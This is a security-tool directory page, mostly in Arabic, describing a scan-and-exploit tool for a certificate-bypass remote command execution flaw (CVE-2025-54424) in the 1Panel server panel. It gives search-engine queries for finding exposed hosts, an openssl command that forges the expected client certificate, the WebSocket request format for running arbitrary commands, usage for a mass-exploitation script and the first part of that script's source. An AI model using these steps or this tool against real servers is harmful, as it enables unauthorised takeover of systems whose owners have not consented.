Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-54424 — CVE-2025-54424:أداة شاملة لثغرة RCE تجاوز شهادة العميل في 1Panel (مسح + استغلال) | Kitploit
أدوات/GitHubGitHub/mr-xn/cve-2025-54424
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدArchived
GitHubmr-xn/cve-2025-54424

CVE-2025-54424

CVE-2025-54424:أداة شاملة لثغرة RCE تجاوز شهادة العميل في 1Panel (مسح + استغلال)

عرض المستودع
59116منذ سنة واحدةلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-54424

CVE-2025-54424: أداة متكاملة لتجاوز التحقق من الشهادة من جانب العميل وتنفيذ الأوامر عن بُعد (RCE) في 1Panel (مسح + استغلال)

مقدمة عن الثغرة

1Panel هو لوحة تحكم مفتوحة المصدر وحديثة لإدارة خوادم Linux، توفر واجهة رسومية لنشر المواقع وإدارة الخوادم وتشغيل الخدمات.

في الإصدارات المتأثرة، تكون سياسة التحقق من TLS من طرف الوكيل (Agent) مضبوطة على tls.RequireAnyClientCert، والتي تتطلب فقط تقديم شهادة دون التحقق من موثوقيتها. يمكن للمهاجم تجاوز التحقق من TLS باستخدام شهادة موقعة ذاتيًا، وتزوير حقل CN ليصبح panel_client لتجاوز التحقق على مستوى التطبيق. في النهاية، يمكن للمهاجم تزوير الشهادة للوصول غير المصرح به إلى واجهات تنفيذ الأوامر، مما يؤدي إلى ثغرة تنفيذ الأوامر عن بُعد.

الإصدارات المتأثرة

<= v2.0.5

صيغ الفحص

صيغ الفحص في Hunter و Fofa كما يلي:

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

تحليل الثغرة

نسخ قسم إعلان الثغرة من GitHub

  • أولاً، نقدم مفهومي Core و Agent في 1Panel v2. بعد إصدار الإصدار الجديد، أضاف 1Panel وظيفة إدارة العقد، مما يسمح بالتحكم في المضيفين الآخرين من خلال إضافة العقد.
  • البروتوكول https المستخدم في الاتصال بين Core و Agent لا يتحقق بشكل كامل من صحة الشهادة في التحقق من الشهادة، مما يؤدي إلى عدم التصريح للواجهات. نظرًا لوجود عدد كبير من الواجهات التي تقوم بتنفيذ الأوامر أو ذات الصلاحيات العالية في 1Panel، يحدث RCE.

عملية تدقيق الكود

  1. أولاً، ندخل إلى ملف التوجيه HTTP للوكيل agent/init/router/router.go

  1. نجد أن الدالة Routers تستخدم الدالة Certificate للتحقق الشامل: agent/middleware/certificate.go

  2. نجد أن الدالة Certificate تتحقق مما إذا كان c.Request.TLS.HandshakeComplete يشير إلى استخدام شهادة في الاتصال.

  3. يتم تحديد صحة أو خطأ c.Request.TLS.HandshakeComplete من خلال tls.RequireAnyClientCert في الدالة Start في ملف agent/server/server.go: ملاحظة: نظرًا لاستخدام tls.RequireAnyClientCert بدلاً من tls.RequireAndVerifyClientCert، فإن RequireAnyClientCert يتطلب فقط تقديم شهادة من العميل دون التحقق من CA المصدر، لذا يمكن لأي شهادة موقعة ذاتيًا تمرير مصافحة TLS.

  4. بعد ذلك، تدخل الفحوصات الأخرى في الدالة Certificate، والتي تتحقق فقط من أن حقل CN في الشهادة هو panel_client، دون التحقق من جهة إصدار الشهادة. أخيرًا، نجد أن اتصال WebSocket يمكنه تجاوز التحقق من Proxy-ID.

  5. يوجد في المشروع عدد كبير من واجهات WebSocket.

  • واجهة WebSocket للعمليات (يمكن الحصول على جميع معلومات العمليات الحساسة بناءً على المشكلة المذكورة أعلاه) عنوان المسار: /process/ws تنسيق الطلب كالتالي:
{
  "type": "ps",           // نوع البيانات: ps(عملية), ssh(جلسة SSH), net(اتصال شبكة), wget(تقدم التحميل)
  "pid": 123,             // اختياري، تحديد معرف العملية للتصفية
  "name": "اسم_العملية", // اختياري، التصفية حسب اسم العملية
  "username": "user"      // اختياري، التصفية حسب اسم المستخدم
}

  • واجهة WebSocket لمحطة SSH الطرفية (يمكن تنفيذ أي أمر بناءً على المشكلة المذكورة أعلاه) عنوان المسار: /hosts/terminal تنسيق الطلب كالتالي:
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // ترميز base64 لـ "whoami", تذكر عدم حذف إرجاع السطر.
}

  • واجهة WebSocket لمحطة الحاوية (واجهة تنفيذ الأوامر في الحاوية) عنوان المسار: /containers/terminal
  • واجهة WebSocket لعملية تنزيل الملفات (تدفع معلومات تقدم التحميل تلقائيًا) عنوان المسار: /files/wget/process

إعادة إنتاج الثغرة

إعادة الإنتاج يدويًا

  1. إنشاء الشهادة:

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. قم بتحميل panel_client.crt و panel_client.key المولدة في Burp، ثم افتح طلب ws، واضبط الهدف لبدء الطلب.

الفحص الجماعي

استخدم أداة CVE-2025-54424.py التي طورتها للفحص والاستغلال الجماعي. إرشادات الاستخدام كما يلي:

قم بتثبيت التبعيات المطلوبة: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
المؤلف: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

مثال على الفحص الفردي + تنفيذ الأوامر (تنفيذ أوامر SSH تفاعلي) كما هو موضح في الصورة أدناه:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
تنزيل الأداة